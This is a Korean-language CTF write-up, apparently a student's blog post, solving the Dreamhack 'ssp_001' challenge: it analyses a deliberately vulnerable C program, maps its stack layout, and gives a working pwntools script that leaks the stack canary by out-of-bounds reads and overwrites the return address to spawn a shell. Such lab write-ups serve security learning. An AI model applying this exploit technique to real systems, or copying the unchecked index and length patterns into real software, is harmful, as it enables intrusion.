[Dreamhack] Stack Canary: 2 - ssp_001

securitykss·2022년 10월 31일
0

Pwnable 강의(dreamhack)

목록 보기
15/58

1. Description

2. Check

2.1 C code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

code description

initialize(), alarm_handler() : stdin, stdout을 초기화, 30초 후 "TIME OUT" 출력하면서 프로그램 종료

get_shell(): shell을 실행하는 함수

main():

              선언 변수: box, name, select, idx, name_len

              1. select가 F를 입력 받을 때: box의 sizeof, 즉 0x40 만큼 box에 입력함.

              2. select가 P를 입력 받을 때: box[idx]의 값을 확인한다.

              3. select가 E를 입력 받을 때: name_len를 입력하고, name에 name_len만큼 입력 한다.

2.2 file

파일: ELF 32-bit 파일

호출 규약: SYSV

linking 방식: Dynamically linked

2.3 checksec

Canary found: Canary가 있다.

NX enabled: stack, heap 영역에서 실행권한이 없음.

3. Design

F를 입력 했을 때는 box에 size 제한, 즉 0x40만큼 밖에 입력을 못한다.(여기는 취약점이 없다)

P를 입력 했을 때는 box 배열의 값을 확인할 수 있다.

E를 입력 했을 때는 name의 size를 마음대로 정할 수 있고, name에 그 size만큼 입력 받을 수 있으므로,

E를 입력해서, box의 영역까지 overwrite 한 후, P를 통해 Canary 값을 도출해 내자.

그 후 return address를 get_shell()함수의 주소로 바꾸어 주면, exploit이 성공할 것이다.

4. Exploit

4.1 get_shell() 주소

4.2 선언된 변수들 확인

4.2.1 main의 변수 선언 부분

main + 0 ~ main + 25

이 부분은 함수 프롤로그 및, Canary 값을 넣는 부분이다.

Canary 값은 (ebp-0x8)부분에 들어가 있다.

main + 30 ~ main + 65

main + 48, main + 64의 rep stos 명령어는 배열을 선언 할 때 쓰이는 명령어이다.

[ebp-48], [ebp-0x88] 이 두 부분에 각각 0x40만큼 공간이 있는데 이 부분에 box와 name의 공간이 있다.

아직 순서는 파악하기 힘들다.

main + 67 ~ main + 86

[ebp - 0x8a]에는 WORD가 쓰였으므로 2bytes, 즉 select 배열 변수의 공간임을 확인

[ebp-0x94], [ebp-0x90]에는 DWORD이므로 4bytes, int 변수인 idx와 name_len의 공간임을 알 수 있다.

이것도 순서 파악이 힘들다.

4.2.2 main의 while 부분

0x46, F일 때:

                printf("box input : ");
                read(0, box, sizeof(box));
                break;

main + 168

read 함수 호출 전에 box의 size는 0x40이므로 스택에 push 해준다.

main + 170

box를 넘겨 줘야하는데, [ebp-0x88]를 넘길 준비를 한다. 이 부분이 box임을 알 수 있다.

0x50, P일 때:

                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;

main + 205

scanf를 호출 할때, idx를 넘겨준다. 이 부분에 [ebp-0x94]이 idx의 공간임을 알 수 있다.

이제 정리를 해보면

stack
idx[ebp-0x94]
name_len[ebp-0x90]
select[ebp-0x8a]
box[ebp-0x88]
name[ebp-0x48]
canary[ebp-0x8]
??? [ebp-0x4]
SFP
RET

선언된 변수들이 stack에 어떻게 쌓였는지 파악할 수 있다.

0x45, E일 때,

                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;

위에 선언된 변수들을 다 파악했기에 생략.

4.3 vulnerability analysis & exploit design

stack
idx[ebp-0x94]
name_len[ebp-0x90]
select[ebp-0x8a]
box[ebp-0x88]
name[ebp-0x48]
canary[ebp-0x8]
??? [ebp-0x4]
SFP
RET

box와 canary 값 사이의 공간이 0x80이다.

위의 공간 차이와 P 입력을 통해, canary 값을 도출 하고,

E 입력 후, dummy 값으로 name을 채우고, 구한 canary를 입력 하고,

[ebp-4]에는 무슨 값인지 모르겠지만, 4bytes의 dummy값으로 채운다.

그 후 SFP도 마찬가지로 dummy 값으로 채우고, RET을 get_shell()의 주소로 Overwrite하면 exploit 성공이다.

4.4 exploit code

from pwn import *

p = process('./ssp_001')
#p = remote('서버', 포트)

get_shell = 0x080486b9							# get_shell() 주소
canary = b''

# canary값 도출
for i in range(3, -1, -1):
	p.sendafter('> ', 'P')
	p.sendlineafter(' : ', str(0x80 + i))
	p.recvuntil(' : ')
	canary += p.recv(2)


canary = int(canary, 16)						# 16진수로 변환

# payload 짜기 
payload = b''
payload += b'\x90' * 0x40
payload += p32(canary)
payload += b'\x90' * 8							# ???부분과 sfp 부분 dummy값으로 채우기 
payload += p32(get_shell)

p.sendafter('> ', 'E')
p.sendlineafter(' : ', str(len(payload)))
p.sendafter(' : ', payload)

p.interactive()

4.5 exploit result

성공적으로 서버의 shell을 획득했다.

마치며

이렇게 Canary 값을 알아내서 exploit을 하는 문제를 풀어보았다.

다음 시간에도 비슷한 문제를 풀어보자.

Reference

https://dreamhack.io/wargame/challenges/33/ (문제 출처)

profile
보안 공부를 하는 학생입니다.

0개의 댓글